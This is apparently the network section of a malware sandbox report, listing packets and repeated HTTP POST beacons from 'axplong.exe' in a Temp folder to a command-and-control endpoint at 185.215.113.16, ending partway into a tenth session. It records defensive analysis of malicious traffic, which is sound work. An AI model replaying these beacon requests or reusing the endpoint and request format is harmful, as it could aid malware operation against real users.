Sep 27, 2024 08:42:03.715713024 CEST	80	53706	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:03.715775013 CEST	53706	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:03.716095924 CEST	80	53707	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:03.716178894 CEST	53707	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:03.716547012 CEST	53707	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:03.721291065 CEST	80	53707	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:04.431354046 CEST	80	53707	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:04.431824923 CEST	53707	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:04.549987078 CEST	53707	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:04.550982952 CEST	53708	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:04.555305958 CEST	80	53707	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:04.555423975 CEST	53707	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:04.555852890 CEST	80	53708	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:04.556389093 CEST	53708	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:04.557512045 CEST	53708	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:04.562262058 CEST	80	53708	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:05.254632950 CEST	80	53708	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:05.254729033 CEST	53708	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:05.257847071 CEST	53708	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:05.258390903 CEST	53709	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:05.262991905 CEST	80	53708	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:05.263123989 CEST	53708	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:05.263185978 CEST	80	53709	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:05.263500929 CEST	53709	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:05.264228106 CEST	53709	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:05.268948078 CEST	80	53709	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:05.987082958 CEST	80	53709	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:05.987144947 CEST	53709	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:06.097784042 CEST	53709	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:06.098367929 CEST	53710	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:06.104599953 CEST	80	53709	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:06.104614973 CEST	80	53710	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:06.104650021 CEST	53709	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:06.104742050 CEST	53710	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:06.104980946 CEST	53710	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:06.111033916 CEST	80	53710	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:06.805308104 CEST	80	53710	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:06.805479050 CEST	53710	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:06.809056044 CEST	53710	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:06.809326887 CEST	53711	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:06.814173937 CEST	80	53711	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:06.814186096 CEST	80	53710	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:06.814296007 CEST	53710	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:06.814444065 CEST	53711	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:06.814843893 CEST	53711	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:06.819570065 CEST	80	53711	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:07.518167019 CEST	80	53711	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:07.518294096 CEST	53711	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:07.798810005 CEST	53711	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:07.802313089 CEST	53712	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:07.803926945 CEST	80	53711	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:07.804016113 CEST	53711	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:07.807127953 CEST	80	53712	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:07.807315111 CEST	53712	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:07.809724092 CEST	53712	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:07.814455986 CEST	80	53712	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:08.501472950 CEST	80	53712	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:08.501534939 CEST	53712	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:08.607068062 CEST	53712	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:08.608797073 CEST	53713	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:08.612219095 CEST	80	53712	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:08.612330914 CEST	53712	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:08.613656998 CEST	80	53713	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:08.613765001 CEST	53713	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:08.619116068 CEST	53713	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:08.623900890 CEST	80	53713	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:09.326592922 CEST	80	53713	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:09.326668024 CEST	53713	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:09.440871000 CEST	53713	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:09.441369057 CEST	53714	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:09.445888996 CEST	80	53713	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:09.445972919 CEST	53713	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:09.446178913 CEST	80	53714	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:09.446382999 CEST	53714	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:09.446641922 CEST	53714	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:09.451366901 CEST	80	53714	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:10.136900902 CEST	80	53714	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:10.137129068 CEST	53714	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:10.141611099 CEST	53714	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:10.141999006 CEST	53715	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:10.146689892 CEST	80	53714	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:10.146769047 CEST	80	53715	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:10.149996042 CEST	53714	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:10.150015116 CEST	53715	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:10.150201082 CEST	53715	80	192.168.2.4	185.215.113.16
Sep 27, 2024 08:42:10.154912949 CEST	80	53715	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:10.873265028 CEST	80	53715	185.215.113.16	192.168.2.4
Sep 27, 2024 08:42:10.873420000 CEST	53715	80	192.168.2.4	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 08:40:49.428585052 CEST	53	55946	162.159.36.2	192.168.2.4
Sep 27, 2024 08:40:49.934156895 CEST	53	49723	1.1.1.1	192.168.2.4

HTTP Request Dependency Graph

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	53653	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:03.634221077 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:04.346273899 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:04.348231077 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:04.574336052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	53654	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:04.693566084 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:05.390173912 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:05.395132065 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:05.621922016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	53655	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:05.741049051 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:06.437556982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:06.439991951 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:06.662950993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	53656	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:06.772139072 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:07.471334934 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:07.478423119 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:07.706590891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	53657	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:08.003845930 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:08.723110914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:08.724097013 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:08.945633888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	53658	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:09.052608967 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:09.846620083 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:09.847716093 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:10.082247019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	53659	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:10.196779013 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:10.907996893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:10.908673048 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:11.139823914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	53660	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:11.268013954 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:11.947515011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:11.950130939 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:12.172815084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	53661	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:12.336788893 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:13.045196056 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:13.046253920 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:13.273000002 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	53662	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
